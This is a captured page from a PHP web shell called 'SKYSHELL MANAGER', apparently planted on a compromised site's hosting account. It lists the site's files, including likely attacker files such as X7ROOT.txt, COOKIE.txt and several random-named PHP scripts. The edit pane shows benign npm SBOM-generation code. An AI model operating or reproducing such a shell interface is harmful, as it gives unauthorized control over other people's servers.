📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: sbom-cyclonedx.js
const crypto = require('node:crypto') const normalizeData = require('normalize-package-data') const parseLicense = require('spdx-expression-parse') const npa = require('npm-package-arg') const ssri = require('ssri') const CYCLONEDX_SCHEMA = 'http://cyclonedx.org/schema/bom-1.5.schema.json' const CYCLONEDX_FORMAT = 'CycloneDX' const CYCLONEDX_SCHEMA_VERSION = '1.5' const PROP_PATH = 'cdx:npm:package:path' const PROP_BUNDLED = 'cdx:npm:package:bundled' const PROP_DEVELOPMENT = 'cdx:npm:package:development' const PROP_EXTRANEOUS = 'cdx:npm:package:extraneous' const PROP_PRIVATE = 'cdx:npm:package:private' const REF_VCS = 'vcs' const REF_WEBSITE = 'website' const REF_ISSUE_TRACKER = 'issue-tracker' const REF_DISTRIBUTION = 'distribution' const ALGO_MAP = { sha1: 'SHA-1', sha256: 'SHA-256', sha384: 'SHA-384', sha512: 'SHA-512', } const cyclonedxOutput = ({ npm, nodes, packageType, packageLockOnly }) => { const rootNode = nodes.find(node => node.isRoot) const childNodes = nodes.filter(node => !node.isRoot && !node.isLink) const uuid = crypto.randomUUID() const deps = [] const seen = new Set() for (let node of nodes) { if (node.isLink) { node = node.target } if (seen.has(node)) { continue } seen.add(node) deps.push(toCyclonedxDependency(node, nodes)) } const bom = { $schema: CYCLONEDX_SCHEMA, bomFormat: CYCLONEDX_FORMAT, specVersion: CYCLONEDX_SCHEMA_VERSION, serialNumber: `urn:uuid:${uuid}`, version: 1, metadata: { timestamp: new Date().toISOString(), lifecycles: [ { phase: packageLockOnly ? 'pre-build' : 'build' }, ], tools: [ { vendor: 'npm', name: 'cli', version: npm.version, }, ], component: toCyclonedxItem(rootNode, { packageType }), }, components: childNodes.map(toCyclonedxItem), dependencies: deps, } return bom } const toCyclonedxItem = (node, { packageType }) => { packageType = packageType || 'library' // Calculate purl from package spec let spec = npa(node.pkgid) spec = (spec.type === 'alias') ? spec.subSpec : spec const purl = npa.toPurl(spec) + (isGitNode(node) ? `?vcs_url=${node.resolved}` : '') if (node.package) { normalizeData(node.package) } let parsedLicense try { let license = node.package?.license if (license) { if (typeof license === 'object') { license = license.type } } parsedLicense = parseLicense(license) } catch (err) { parsedLicense = null } const component = { 'bom-ref': toCyclonedxID(node), type: packageType, name: node.name, version: node.version, scope: (node.optional || node.devOptional) ? 'optional' : 'required', author: (typeof node.package?.author === 'object') ? node.package.author.name : (node.package?.author || undefined), description: node.package?.description || undefined, purl: purl, properties: [{ name: PROP_PATH, value: node.location, }], externalReferences: [], } if (node.integrity) { const integrity = ssri.parse(node.integrity, { single: true }) component.hashes = [{ alg: ALGO_MAP[integrity.algorithm] || /* istanbul ignore next */ 'SHA-512', content: integrity.hexDigest(), }] } if (node.dev === true) { component.properties.push(prop(PROP_DEVELOPMENT)) } if (node.package?.private === true) { component.properties.push(prop(PROP_PRIVATE)) } if (node.extraneous === true) { component.properties.push(prop(PROP_EXTRANEOUS)) } if (node.inBundle === true) { component.properties.push(prop(PROP_BUNDLED)) } if (!node.isLink && node.resolved) { component.externalReferences.push(extRef(REF_DISTRIBUTION, node.resolved)) } if (node.package?.repository?.url) { component.externalReferences.push(extRef(REF_VCS, node.package.repository.url)) } if (node.package?.homepage) { component.externalReferences.push(extRef(REF_WEBSITE, node.package.homepage)) } if (node.package?.bugs?.url) { component.externalReferences.push(extRef(REF_ISSUE_TRACKER, node.package.bugs.url)) } // If license is a single SPDX license, use the license field if (parsedLicense?.license) { component.licenses = [{ license: { id: parsedLicense.license } }] // If license is a conjunction, use the expression field } else if (parsedLicense?.conjunction) { component.licenses = [{ expression: node.package.license }] } return component } const toCyclonedxDependency = (node, nodes) => { return { ref: toCyclonedxID(node), dependsOn: [...node.edgesOut.values()] // Filter out edges that are linking to nodes not in the list .filter(edge => nodes.find(n => n === edge.to)) .map(edge => toCyclonedxID(edge.to)) .filter(id => id), } } const toCyclonedxID = (node) => `${node.packageName}@${node.version}` const prop = (name) => ({ name, value: 'true' }) const extRef = (type, url) => ({ type, url }) const isGitNode = (node) => { if (!node.resolved) { return } try { const { type } = npa(node.resolved) return type === 'git' || type === 'hosted' } catch (err) { /* istanbul ignore next */ return false } } module.exports = { cyclonedxOutput }
Save